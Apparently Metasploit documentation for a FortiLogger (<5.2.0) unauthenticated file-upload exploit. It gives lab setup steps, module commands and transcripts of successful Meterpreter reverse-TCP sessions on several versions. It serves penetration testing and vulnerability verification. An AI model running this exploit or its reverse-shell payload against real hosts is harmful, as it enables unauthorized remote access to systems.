## Vulnerable Application

FortiLogger is a web-based logging and reporting software designed specifically for FortiGate firewalls,
running on Windows operating systems. It contains features such as instant status tracking, logging, search / filtering,
reporting and hotspot.

This module exploits an unauthenticated arbitrary file upload via insecure `POST` request on company logo upload
for hotspot settings of FortiLogger < 5.2.0.  This exploit may not work if the host has been rebooted, though it
will fail gracefully.

You can download installation files from https://www.fortilogger.com/download

*Vendor has removed version 4.4.2.2 from web page of vendor for download.
You can download version 4.4.2.2 from https://github.com/erberkan/erberkan.github.io/raw/master/2021/cve-2021-3378/Fortilogger-4.4.2.zip*

Tested versions:

- 4.4.2.2
- 3.6.2.9
- 3.4.1.7

### Prerequisites

1. Start a Windows VM *(Tested on Windows 10 Enterprise)*
2. Install a vulnerable version which is any version less then 5.2.0 of FortiLogger via above url.
3. After installation, verify that the server is working by visiting it with a browser.
    - Default port: 5000
    - Default username:password - admin:admin


## Verification Steps

1. Install the application
2. Start msfconsole
3. Do: `use exploit/windows/http/fortilogger_arbitrary_fileupload`
4. Set `RHOSTS`
5. Do: `run` or `exploit`
6. **Verify** that `The target is vulnerable. FortiLogger version [version number]` message appeared
7. **Verify** that payload uploaded to target system successfully: `Payload has been uploaded`
8. **Verify** that you getting a meterpreter session.

## Scenarios

```
msf > use exploit/windows/http/fortilogger_arbitrary_fileupload 
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf exploit(windows/http/fortilogger_arbitrary_fileupload) > show options 

Module options (exploit/windows/http/fortilogger_arbitrary_fileupload):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     192.168.1.43     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      5000             yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the FortiLogger
   VHOST                       no        HTTP server virtual host


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.1.46     yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   FortiLogger < 5.2.0

```
### Version 4.4.2.2

```
msf exploit(windows/http/fortilogger_arbitrary_fileupload) > run

[*] Started reverse TCP handler on 192.168.1.46:4444 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable. FortiLogger version 4.4.2.2
[+] Generate Payload
[+] Payload has been uploaded
[*] Executing payload...
[*] Sending stage (175174 bytes) to 192.168.1.43
[*] Meterpreter session 1 opened (192.168.1.46:4444 -> 192.168.1.43:49771) at 2021-03-02 14:05:53 +0300

meterpreter > sysinfo
Computer        : MSEDGEWIN10
OS              : Windows 10 (10.0 Build 17134).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 3
Meterpreter     : x86/windows
meterpreter > getuid
Server username: MSEDGEWIN10\IEUser
meterpreter > pwd
C:\Program Files\RZK\Fortilogger\App
meterpreter > 
```

### Version 3.6.2.9

```
msf exploit(windows/http/fortilogger_arbitrary_fileupload) > run

[*] Started reverse TCP handler on 192.168.1.46:4444 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable. FortiLogger version 3.6.2.9
[+] Generate Payload
[+] Payload has been uploaded
[*] Executing payload...
[*] Sending stage (175174 bytes) to 192.168.1.43
[*] Meterpreter session 2 opened (192.168.1.46:4444 -> 192.168.1.43:49764) at 2021-03-02 14:17:59 +0300

meterpreter > sysinfo
Computer        : MSEDGEWIN10
OS              : Windows 10 (10.0 Build 17134).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 3
Meterpreter     : x86/windows
meterpreter > getuid
Server username: MSEDGEWIN10\IEUser
meterpreter > pwd
C:\Program Files\RZK\Fortilogger\App
meterpreter > 
```

### Version 3.4.1.7

```
msf exploit(windows/http/fortilogger_arbitrary_fileupload) > run

[*] Started reverse TCP handler on 192.168.1.46:4444 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable. FortiLogger version 3.4.1.7
[+] Generate Payload
[+] Payload has been uploaded
[*] Executing payload...
[*] Sending stage (175174 bytes) to 192.168.1.43
[*] Meterpreter session 3 opened (192.168.1.46:4444 -> 192.168.1.43:49791) at 2021-03-02 14:39:04 +0300

meterpreter > sysinfo
Computer        : MSEDGEWIN10
OS              : Windows 10 (10.0 Build 17134).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 3
Meterpreter     : x86/windows
meterpreter > getuid
Server username: MSEDGEWIN10\IEUser
meterpreter > pwd
C:\Program Files\RZK\Fortilogger\App
meterpreter > 
```

### If target is not accessible

```
msf exploit(windows/http/fortilogger_arbitrary_fileupload) > run

[*] Started reverse TCP handler on 192.168.1.46:4444 
[*] Executing automatic check (disable AutoCheck to override)
[-] Exploit aborted due to failure: unreachable: No response from server
[*] Exploit completed, but no session was created.
```

### If target has version 5.2.0 or newest

```
msf exploit(windows/http/fortilogger_arbitrary_fileupload) > run

[*] Started reverse TCP handler on 192.168.1.46:4444 
[*] Executing automatic check (disable AutoCheck to override)
[-] Exploit aborted due to failure: unexpected-reply: The target may have been updated
[*] Exploit completed, but no session was created.
```

## Reference
1. https://erberkan.github.io/2021/cve-2021-3378/
